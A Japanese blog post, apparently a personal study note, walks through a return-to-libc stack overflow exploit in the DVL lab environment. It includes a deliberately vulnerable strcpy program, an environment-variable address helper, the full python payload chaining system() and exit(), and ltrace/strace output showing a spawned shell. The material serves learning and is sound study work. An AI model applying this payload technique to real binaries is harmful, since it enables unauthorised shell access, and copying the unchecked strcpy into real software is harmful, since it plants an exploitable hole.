return2libc

スタックオーバーフローでスタック上のシェルコードを実行するんじゃなくて任意の関数に処理を移行するってことで
とりあえずsystem()を呼べるように試した。
実施環境はいつもながらDVL

まずは脆弱性のあるコード。

bt test $ cat vuln.c
#include <string.h>

void test(char *p)
{
  char buf[64];

  strcpy(buf, p);
}

int main(int argc, char **argv)
{
  test(argv[1]);

  printf("ok\n");
  return 0;
}

systemを呼ぶにしても引数として"/bin/sh"を渡す必要があるので
環境変数/bin/shを格納。以下は環境変数のアドレス取得用のコード。

bt test $ cat getenv.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
  char *p;
  char *addr;

  if (argc < 2)
    p = "BINSH";

  addr = getenv(p);

  if (addr)
    printf("environment[%s] is in %p\n", p, addr);
  else
    printf("environment[%s] isn't exist\n", p);

  return 0;
}

それで以下のように環境変数を追加。
BINSH=/bin/sh ; export BINSH

そしたら実行してみる。

bt test $ echo $BINSH
/bin/sh
bt test $ ./getenv 
environment[BINSH] is in 0xbfffff15

vulnに渡す引数は1個だけどsystem()のアドレスとかを渡すのでpythonで引数を作ってます。

スタック上はこんな感じになると。
メモリアドレス上位
"A"*72  ->  72bytesの書き込み
"BBBB"  ->  特に意味はないけどebpに格納されるデータ。gdbでみると0x42424242って感じになってます
"\xe0\x86\xed\xb7" -> system()のアドレスをリトルエンディアンにしたもの
"\xa0\xe3\xec\xb7" -> exit()のアドレスをリトルエンディアンにしたもの。ここがsystem()実行後の戻り位置
"\x15\xff\xff\xbf" -> system()の引数
メモリアドレス下位

exit()を入れるのはsystem()呼び出し後に正常に終わらすためらしいです。

で実行してみる。

bt test $ ./vuln `python -c 'print "A"*72 + "BBBB"  + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`

普通に実行すると何事もなく終わってしまったのでltrace、straceを使って動作を確認しました。
#okは表示されないのでexit()は呼ばれていると思う。

ltraceをつけて実行

bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB"  + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`
__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>
strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800)                                      = 0xbffff510
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
--- SIGCHLD (Child exited) ---
+++ exited (status 0) +++
bt test $ 

ltraceをつけるとshellがちゃんと起動できる・・・
straceをつけたらどうか?

bt test $ strace ./vuln `python -c 'print "A"*72 + "BBBB"  + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`
execve("./vuln", ["./vuln", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 33 vars */]) = 0
uname({sys="Linux", node="bt", ...})    = 0
brk(0)                                  = 0x804a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=88668, ...}) = 0
mmap2(NULL, 88668, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20O\1\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1441201, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000
mmap2(NULL, 1240284, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7ea3000
mmap2(0xb7fcc000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x128) = 0xb7fcc000
mmap2(0xb7fd0000, 7388, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd0000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea2000
mprotect(0xb7fcc000, 4096, PROT_READ)   = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea26c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7fd3000, 88668)               = 0
rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(sh-3.1$ child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff41c) = 16559
waitpid(16559, 
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 16559
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---
exit_group(-1073744640)                 = ?
Process 16558 detached
bt test $ 

waitpidで止まった所でEnterキーを押せばshellが起動した。
というわけでltrace、straceをつければ期待通りにshellが動くけどなんでltrace等を使わない場合はshellが立ち上がる前にexit()が呼ばれるか分かりませんでした。。。
とりあえずsystem()->exit()の流れは正しくできてるようです。

勉強あるのみ。